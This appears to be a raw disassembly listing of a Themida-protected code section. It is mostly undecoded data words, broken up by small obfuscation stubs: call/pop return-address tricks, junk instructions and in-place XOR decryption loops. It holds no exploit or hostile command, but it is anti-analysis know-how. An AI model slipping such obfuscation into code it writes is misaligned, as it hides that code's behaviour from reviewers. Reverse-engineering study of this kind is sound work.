		dd 0B4C17817h, 0CDDF3750h, 6A006AC6h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A907C357h
		dd 293350F0h, 0FBB30C7Bh, 19852360h, 8907D102h,	0D1157995h
		dd 95FF6107h, 7D10055h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 66C35545h, 9E8h, 0BE7C2400h, 4D836385h
		dd 8D899071h, 7D10911h,	0F23B95Bh, 9D030000h, 7D11B49h
		dd 9FCE183h, 0D1163D8Dh, 0BB66FC07h, 0C02BAE38h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0AC35545h, 5D898605h
		dd 0BA75h, 0ADF90000h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3982C352h, 0BA0A64F2h, 6ADA8Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0D3A99C3h
		dd 88h,	138A0Fh, 0EE90000h, 0AA000000h,	40F03970h, 3DA402FAh
		dd 5184AA75h, 51958B35h, 8107D11Bh, 0B99B37F7h,	558D8B17h
		dd 6A07D12Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 23DFC350h, 8B503E04h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0CFD38166h, 53006A4Ch
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 786D5479h, 0B5A3D097h, 0ED5CE8BBh, 0C5BD8366h, 7D11Bh
		dd 60840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 678281C3h, 4FEF7F0Ch, 0B8F5h, 0E9600000h
		dd 0Ch,	174A7354h, 0E1CCE665h, 0F8CCAFB5h, 12E9h, 0A808F00h
		dd 79376A6Eh, 13AF42F6h, 0C56A6452h, 61964A70h,	4D0A8D8Dh
		dd 0BB6607D1h, 0E1FF5046h, 0BD836BB3h, 7D11D39h, 14840F00h
		dd 57000004h, 0BD835BF9h, 7D11D39h, 1F840F01h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0AB7FC357h, 39BD8339h, 307D11Dh, 3BE860Fh
		dd 8E90000h, 0C1000000h, 113154EDh, 60186637h, 67E3CF81h
		dd 8C662E7Bh, 158589D9h, 8007D115h, 0AE804E1h, 98000000h
		dd 0FD50DA2Ah, 39316CB4h, 0EB816687h, 0F5B06AAh, 0C90ADABFh
		dd 164840Fh, 858B0000h,	7D128F5h, 0CE9h, 0AFD77E00h, 8C83941Eh
		dd 3C6822C5h, 4840F3Bh,	66000000h, 332DF7BFh, 0D131CD85h
		dd 5057B307h, 7E860h, 4F8F0000h, 4410FCDDh, 0F5250ECh
		dd 58585A31h, 8961E3B7h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8B66C5C3h, 6A006AF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 805EC356h, 1F46B03h, 0D10C99B5h, 0D5796807h
		dd 5250927Fh, 585A310Fh, 86240481h, 8B6D9F2Eh, 0D100A59Dh
		dd 1595FF07h, 6A07D12Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 4B67C355h, 79AA48ECh
		dd 9E83E23h, 22000000h,	0ADE0EB51h, 0ACCEFB25h,	13E9h
		dd 4C75C700h, 4663320Ch, 0E42EC420h, 53170830h,	4365A233h
		dd 0CE9605Bh, 80000000h, 998FFC62h, 90989B62h, 0E9E5BFB3h
		dd 7, 0C065E11Ch, 61BD81EBh, 0EA5A8589h, 6A07D4h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0C03359C3h, 8949BA29h, 0D1165DBDh, 1CDE907h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5C3D75C3h, 858BC1B2h, 7D4EA52h, 2DB98529h, 0C707D1h
		dd 18h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 0F7C35545h, 8BDFBF0Fh, 0D4EA56B5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0A9B8BE39h, 0E90B92D3h, 0Fh,	0AE47FF1Dh, 2F567EF4h
		dd 54A55A76h, 8BD05BC9h, 0D10C9D85h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0D427E95Dh
		dd 9A2FCA9Dh, 6C5BD8Bh,	68907D1h, 7298D09h, 858B07D1h
		dd 7D128F5h, 2860Fh, 0D5B70000h, 0BB044689h, 25DFFEACh
		dd 18A9BD31h, 669607D1h, 6050FA8Bh, 0AA55CBEh, 58C0F30h
		dd 0B8000000h, 707F0F42h, 6A9661h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0DD4009C3h, 3171AB77h
		dd 0D102059Dh, 52B5FF07h, 6A07D4EAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2148C350h
		dd 0B02CB26h, 4E8h, 1F03FF00h, 0DE8B6600h, 8BFA8B50h, 0E8042444h
		dd 0Eh,	8BB6A915h, 0E0895315h, 72A7D01Bh, 0F98BD283h, 0E9008B5Bh
		dd 9, 198B5A34h, 0A52E6744h, 244489E0h,	0B9BF6604h, 81665887h
		dd 8DBD2FCBh, 0D4EA5A85h, 58F0F07h, 66000000h, 2BFBD781h
		dd 0D88B6690h, 0B8BB6650h, 0BD89900Ah, 7D1333Dh, 2B1595FFh
		dd 8D0F07D1h, 0Dh, 8E9h, 328FCF00h, 0A3728794h,	4D9D8B1Fh
		dd 6107D11Bh, 85C747B3h, 7D11D39h, 3, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 6C35545h, 0B8035FEBh, 870F56B4h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5CFDAC
		push	0
		push	ecx
		call	sub_5CFD8D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFD8D	proc near		; CODE XREF: Themida_:005CFD85p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5CFD8D	endp

; ---------------------------------------------------------------------------
		push	edi
		adc	cl, [ecx-2ECEE24Bh]
		pop	es
		mov	bh, 0Fh
		jmp	loc_5CFDC7
; ---------------------------------------------------------------------------


loc_5CFDAC:				; CODE XREF: Themida_:005CFD7Cj
					; Themida_:005CFDC3j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFDAC
		jmp	short loc_5CFDFD
; ---------------------------------------------------------------------------


loc_5CFDC7:				; CODE XREF: Themida_:005CFDA7j
					; Themida_:005CFDDEj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFDC7
		jmp	short loc_5CFDFD
; ---------------------------------------------------------------------------


loc_5CFDE2:				; CODE XREF: Themida_:005CFDF9j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CFDE2
		jmp	short $+2


loc_5CFDFD:				; CODE XREF: Themida_:005CFDC5j
					; Themida_:005CFDE0j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CFE0A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE0A	proc near		; CODE XREF: Themida_:005CFE02p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CFE0A	endp

; ---------------------------------------------------------------------------
		shr	byte ptr [esi+10h], 1
		mov	byte ptr [esi-1A446B26h], 65h
		push	ebp
		adc	ebp, [edx+0]
		push	ecx
		call	sub_5CFE31
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE31	proc near		; CODE XREF: Themida_:005CFE29p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CFE31	endp

; ---------------------------------------------------------------------------
		inc	edx
		lodsd
		aas
		pusha
		mov	cl, 4Ah
		mov	dl, 0CCh
		popa
		mov	ebx, [ebp+7D12029h]
		cmp	dword ptr [ebp+7D11D39h], 3
		jnz	loc_5D0240
		mov	[ebp+7D110E5h],	eax
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5D0240
		push	0
		push	edx
		call	sub_5CFE7B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE7B	proc near		; CODE XREF: Themida_:005CFE73p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CFE7B	endp

; ---------------------------------------------------------------------------
		db 4Bh
		dd 0CCF9BAB9h, 8A155062h, 5AB5FFFCh, 8907D4EAh,	0D12EA58Dh
		dd 0B195FF07h, 6607D12Eh, 8552DB81h, 0EA4EB58Bh, 6A07D4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 5F5564C3h, 0ADE5154Dh, 0D9D8B18h, 8B07D110h,	0D13389BDh
		dd 106C707h, 66000100h,	0BB96F98Bh, 205D38C0h, 96F98B50h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7EC35747h
		dd 4822E508h, 11ED6C30h, 2ECDBD8Bh, 0B5FF07D1h,	7D4EA5Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DBC35040h
		dd 0F1C840AEh, 70412F77h, 16FD9D89h, 8B5607D1h,	95FF5FDFh
		dd 7D131A5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	5BC35040h, 20444428h, 0C6092352h, 9D8B602Dh, 7D122FDh
		dd 2E019D29h, 8B6107D1h, 0D4EA4EB5h, 858BF507h,	7D12B31h
		dd 2D8D9D8Bh, 236007D1h, 0D12199B5h, 0DE8B6607h, 0C4868961h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 6838C352h, 583F0E72h, 7F98808Dh
		dd 0EE8h, 2771FA00h, 329C64ECh,	69D98DD3h, 811706C9h, 1B7A42DBh
		dd 958B5F66h, 7D11B51h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0F9C35040h, 1C8856F1h, 0C3AEDC07h, 0D9D2B07h
		dd 8307D132h, 508904C2h, 0D98B6020h, 61DA8B66h,	0FEE5858Dh
		dd 9D8B07D4h, 7D11B8Dh,	0B88689h, 8B660000h, 6A006ADAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 292EC351h, 820F5CE8h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	ebx
		call	sub_5D0079
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0079	proc near		; CODE XREF: Themida_:005D0071p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D0079	endp

; ---------------------------------------------------------------------------
		db 0C5h, 66h, 81h
		dd 0FF5900EFh, 0D11DE995h, 68B0F07h, 81000000h,	0D19ED5F7h
		dd 52505002h, 0BE9h, 0A7759800h, 0F0E03841h, 3B755481h
		dd 5250310Fh, 820Fh, 310F0000h,	390FBF66h, 585A585Ah, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 1727C357h, 0BE1FD8B8h, 0BFA01546h, 5F51DE48h
		dd 0EA5AB5FFh, 0BF0F07D4h, 99B501DBh, 0FF07D130h, 0D12D9D95h
		dd 7BDB8107h, 8362F3EFh, 0D12809BDh, 840F0007h,	1Fh, 0DD8D89h
		dd 509607D1h, 83A478BBh, 96505F48h, 9589F860h, 7D11449h
		dd 0D59D8B61h, 0FF07D126h, 0D4EA5AB5h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0B595FF72h, 6A07D132h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 964DC352h, 66337E1Bh
		dd 0BF60D98Bh, 1B915D2Dh, 61F9BF0Fh, 0DBD8956h,	5B07D125h
		dd 0EA5AB5FFh, 0AE807D4h, 6C000000h, 0C72824E0h, 127BA7EFh
		dd 5D958914h, 5F07D12Dh, 270995FFh, 8B6607D1h, 0B58957FAh
		dd 7D12839h, 0C1BD835Fh, 207D10Fh, 60840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 2F74AEC3h, 23E97164h, 0F8BF0F2Eh, 15099D89h,	858B07D1h
		dd 7D11E25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	53C35747h, 0A6418DABh, 410E5CD9h, 0E9958921h, 0C607D114h
		dd 85C70000h, 7D122CDh,	0
; ---------------------------------------------------------------------------
		mov	di, 943Ah


loc_5D0240:				; CODE XREF: Themida_:005CFE57j
					; Themida_:005CFE6Aj
		jmp	near ptr dword_5CF604+17h
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D0250
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0250	proc near		; CODE XREF: Themida_:005D0248p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D0250	endp

; ---------------------------------------------------------------------------
		dd 8B669A13h, 60C18BFEh, 68B0Fh, 858B0000h, 7D1233Dh, 8D6129B1h
		dd 0D1136185h, 0A59D8B07h, 9007D101h, 1C840Fh, 14E80000h
		dd 4C000000h, 504F4CFEh, 4E382F98h, 765127DCh, 6F47F624h
		dd 60ABA8F6h, 50505F61h, 8B0F52h, 0F000000h, 90585A31h
		dd 2DD98589h, 6A07D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 56C35747h, 8BDE1955h,	1AF1BD8Bh, 6A07D1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 46C35040h
		dd 0EFD4A993h, 858DD30Ah, 7D59E1Ah, 10E956h, 21D60000h
		dd 0AFDA7364h, 8D4F3FDBh, 9E32C99Dh, 835BB277h,	0D38105C0h
		dd 1C40B3BCh, 50DAB790h, 0CE9h,	0EF686B00h, 33A81DEh, 0F1EA4BE5h
		dd 0BD8B9061h, 7D11B5Dh, 8D31006Ah, 7D11F7Dh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0A797D5C3h, 0BE723893h, 6890F23h, 23000000h,	0D132619Dh
		dd 6D858907h, 0FF07D129h, 0D11DE195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0E5AE6675h, 4975B208h, 6057FC09h, 8BFBB70Fh,	8D5B61F9h
		dd 0D4D5668Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0DBD8B8Fh, 0FF07D109h
		dd 85BD8BD1h, 8307D119h, 0D11715BDh, 850F0107h,	60h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 3DC35040h, 5A1A1A5Ah
		dd 6AEC71F1h, 0FEBF0F02h, 58D0F50h, 0BF000000h,	2C7C5D2Bh
		dd 0FF240489h, 0D11DE995h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0A9302B36h
		dd 0F88B669Bh, 0C5CE9h,	0E800h,	815D0000h, 0D59E24EDh
		dd 11BD2907h, 8907D117h, 0D1024D85h, 77858D07h,	6607D4BCh
		dd 6090F98Bh, 5CA82BBEh, 0C58A6058h, 61616160h,	6A9050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 34D032C3h, 8144DA86h, 35674FC3h, 35FF6440h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D04C7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D04C7	proc near		; CODE XREF: Themida_:005D04BFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D04C7	endp

; ---------------------------------------------------------------------------
		db 9Ah
		dd 9D8B8F27h, 7D11F2Dh,	258964h, 8B000000h, 0D11D41BDh
		dd 2185FF07h, 6007D129h, 0CE952h, 0C2760000h, 2A486C7Dh
		dd 477243AAh, 665B21ABh, 0C07FE681h, 6AFF6A61h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3778C351h, 0A57D2577h, 66F88C3Dh, 0FF24F4BFh, 0D11081B5h
		dd 0C5BD2307h, 0FF07D132h, 0D1141D95h, 0DFE907h, 0DB800000h
		dd 100B0E5h, 0D132D5B5h, 6070E607h, 68A0Fh, 9D310000h
		dd 7D118FDh, 0F71E461h,	883h, 2850F00h,	0B3000000h, 0F613C18h
		dd 0AC83h, 0FDD8A00h, 0BD8BC8B6h, 7D125ADh, 6BAh, 0D7816600h
		dd 0C18BB377h, 0D0A0BF66h, 0F04E8C1h, 0F766FABFh, 8BF860E2h
		dd 0D11A19BDh, 0C82B6107h, 18A0Fh, 8BFC0000h, 1DBB57D1h
		dd 5B6E6D07h, 6E9h, 699D2900h, 8B07D107h, 0D1189185h, 8CD38007h
		dd 0F07C083h, 58Eh, 56ACBB00h, 0C0836523h, 0D03BF500h
		dd 10830Fh, 9D290000h, 7D122BDh, 34E9h,	0F7816600h, 8D8BC3A0h
		dd 7D125A9h, 0C8C38166h, 1E1839Bh, 1B840Fh, 83F80000h
		dd 0D125A9A5h, 0FA8BFE07h, 18919589h, 9D8B07D1h, 7D12B61h
		dd 0E9h, 51B58D00h, 8907D51Bh, 0D107418Dh, 89006A07h, 0D129F59Dh
		dd 5595FF07h, 8907D100h, 0D101E5BDh, 0B91FB307h, 80Bh
		dd 250DBD0Bh, 0E18307D1h, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0D3B03349h
		dd 22C9B529h, 6AFC07D1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 60C1C352h, 0F6493810h
		dd 0B8F892h, 29000000h,	0D108C995h, 0ADD22B07h,	0E8D1C233h
		dd 0E983D003h, 8BF47504h, 0D13051BDh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0DE6B311h, 88h, 79BF6660h, 8D958B29h, 6107D132h, 1B51958Bh
		dd 9D8907D1h, 7D11399h,	2D558D8Bh, 6A07D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 81A49AC3h
		dd 0D1A16DFh, 0C9B50137h, 5007D128h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A0D524ABh
		dd 640012CFh, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B372ABFh, 0D11D519Dh, 0C5BD8307h
		dd 7D11Bh, 0A3840Fh, 10E90000h,	70000000h, 9E2BA430h, 2038018Eh
		dd 51D0806h, 896C8BDFh,	0D1250D9Dh, 0B807h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0DD44DFC3h, 0C8563153h, 25359589h, 8D8D07D1h, 7D14D0Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2C35646h
		dd 0EB270659h, 73E2FEEh, 7E99Eh, 0D8860000h, 9F5D9B2Dh
		dd 6AE1FF3Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B189C356h, 61F9D97Dh,	39BD83CEh
		dd 7D11Dh, 3CE840Fh, 13E90000h,	99000000h, 0ABCE8033h
		dd 0E1B7EB3Eh, 7E383F2Eh, 0E7D0DBB2h, 0BD83EF9Bh, 7D11D39h
		dd 0C4840F01h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 99AAC352h, 6F814F7h
		dd 39BD8390h, 307D11Dh,	35F860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0ABD140C3h
		dd 6AA2567Bh, 0C18D3193h, 6007D124h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 41C35242h, 2CBE45DAh, 0D98C661Bh
		dd 6166C781h, 0E1805D21h, 41BD2904h, 0A07D128h,	0F6840FC9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0E6A2C355h, 3B3BA683h,	10E93Eh
		dd 2ABE0000h, 3478F440h, 0AA4322EEh, 0C1F4A722h, 858BD418h
		dd 7D128F5h, 0CE9h, 7E571500h, 4B4EE157h, 52F03BA5h, 0CD853393h
		dd 6A07D131h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0C20C356h, 17E6FEA6h, 0E9C7B371h
		dd 12h,	39985A8Bh, 0D9415608h, 0E1CF4535h, 8A71E796h, 0E8506B74h
		dd 9, 8D0BE5C3h, 6C85B121h, 4895FF0h, 68006A24h, 29E5593Fh
		dd 0F5C9BB66h, 0C0243481h, 6A29FA5Ah, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0FA66C350h
		dd 3B9DF7E8h, 213D9D8Bh, 95FF07D1h, 7D12B15h, 27CF8166h
		dd 5A85895Bh, 0E907D4EAh, 197h,	30C458BBh, 52858B03h, 6007D4EAh
		dd 0E9C38B66h, 0Eh, 0C8C7CB2h, 76B3B9F2h, 0E281F606h, 0C7617C02h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 92364F82h, 0EA56B58Bh, 6A07D4h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 6E0BEC3h, 254FC7C8h,	8B7921C5h, 0D10C9D85h, 219D8B07h
		dd 8907D133h, 0FDBD0B06h, 8B07D125h, 0D128F585h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D31C143Bh, 85895177h, 7D117D5h, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0D6E6C353h, 10E9h, 0F96B1600h, 63526033h, 45FAD526h
		dd 0CEC1521Eh, 0BF6650DAh, 348908D8h, 0B19D0324h, 0FF07D12Ah
		dd 0D4EA52B5h, 68FE8A07h, 6BE3026Fh, 7E9h, 0D1809C00h
		dd 0E34C526Bh, 90243481h, 6A6BFC01h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0B512C350h
		dd 6A4EDE12h, 89728517h, 0D11BDD95h, 5A858D07h,	0B707D4EAh
		dd 90509008h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0EDC35545h, 9F98A0E8h, 418D294Fh, 0FF07D115h, 0D12B1595h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 6172FA10h, 15218589h, 85C707D1h,	7D11D39h
		dd 3, 13E9h, 4C88A600h,	942BCAB1h, 0A46258DEh, 88E1491Dh
		dd 0E6B1B0A1h, 0EA5ABD83h, 0F0007D4h, 3C84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 37AD0A09h, 6810Fh, 9D8B0000h, 7D126EDh, 0FDEACB81h
		dd 21E97047h, 8B000000h, 0D120D19Dh, 0C305007h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 27C35141h, 9D8BD88Bh, 7D12B85h
		dd 1D39BD83h, 0F0307D1h, 40C85h, 5ABD8300h, 7D4EAh, 3FF840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 8EB88DC3h, 9AD2BB60h, 9D8B0AE6h, 7D1211Dh
		dd 5AB5FF61h, 0F07D4EAh, 95FFD8BFh, 7D12EB1h, 89FE8B60h
		dd 0D12DB18Dh, 9D8B6107h, 7D133A5h, 0EA4EB58Bh
		dd 9D8B07D4h, 7D119DDh,	106C7h,	81660001h, 96009DE7h, 178E0F50h
		dd 0E9000000h, 12h, 7572F9F8h, 71EB1009h, 9A84C5C6h, 1188453h
		dd 29967362h, 0D1339585h, 5AB5FF07h, 6607D4EAh,	0FFDDE1BBh
		dd 0D131A595h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 96799797h, 13658589h
		dd 0B58B07D1h, 7D4EA4Eh, 77F78060h, 2535BD0Bh, 8B6107D1h
		dd 0D12B3185h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 6346E4A4h, 1F7D9D8Bh
		dd 868907D1h, 0C4h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0BBC35545h, 899E6C6Bh, 0A754EB45h, 419D2986h
		dd 8B07D134h, 0D11B5195h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0A8AA4129h
		dd 0E8CDA16Fh, 6E9AD80h, 41000000h, 0A1B88632h,	0EF8166C0h
		dd 0C283377Fh, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0EBB860D9h, 2977D699h
		dd 0D128B195h, 20508907h, 5E8DA8Bh, 9E000000h, 9A4FB6B5h
		dd 2A09B589h, 8D5B07D1h, 0D4FEE585h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0A4B60819h
		dd 0B88689h, 9D0B0000h,	7D12DEDh, 32FD9D29h, 6A07D1h, 0FFD88B66h
		dd 0D4EA5AB5h, 0ACB6BB07h, 95FF1966h, 7D11DE9h,	8A0Fh
		dd 60960000h, 9E8h, 3B89FC00h, 0A83E1604h, 0CE8BCDA3h
		dd 11E95Bh, 13320000h, 7FB3D0C7h, 0BCDB1E4Ch, 959582EFh
		dd 6162774Eh, 0BB6650h,	6A9612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 3E52FDC3h, 0BC1859CCh
		dd 775BD89h, 0B5FF07D1h, 7D4EA5Ah, 0FFFE8B66h, 0D12D9D95h
		dd 399D8B07h, 8307D118h, 0D12809BDh, 840F0007h,	5Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 49C35242h, 0D88AFD54h
		dd 810Fh, 0E8500000h, 14h, 1C3AE0E2h, 16477719h, 0F89367AFh
		dd 0BEDBD0BFh, 70CCA76Ah, 9E8h,	0ACBFA400h, 0BFDA2375h
		dd 860F5E42h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		mov	[esp], esi
		mov	di, cx
		push	dword ptr [ebp+7D4EA5Ah]
		add	edi, [ebp+7D11745h]
		call	dword ptr [ebp+7D132B5h]
		pusha
		push	eax
		jmp	loc_5D0F7A
; ---------------------------------------------------------------------------
		retn	0FBC3h
; ---------------------------------------------------------------------------
		dd 94835C3Ch
		db 56h,	75h
; ---------------------------------------------------------------------------


loc_5D0F7A:				; CODE XREF: Themida_:005D0F6Cj
		pop	ebx
		popa
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	ebp
		call	sub_5D0F8D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0F8D	proc near		; CODE XREF: Themida_:005D0F85p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
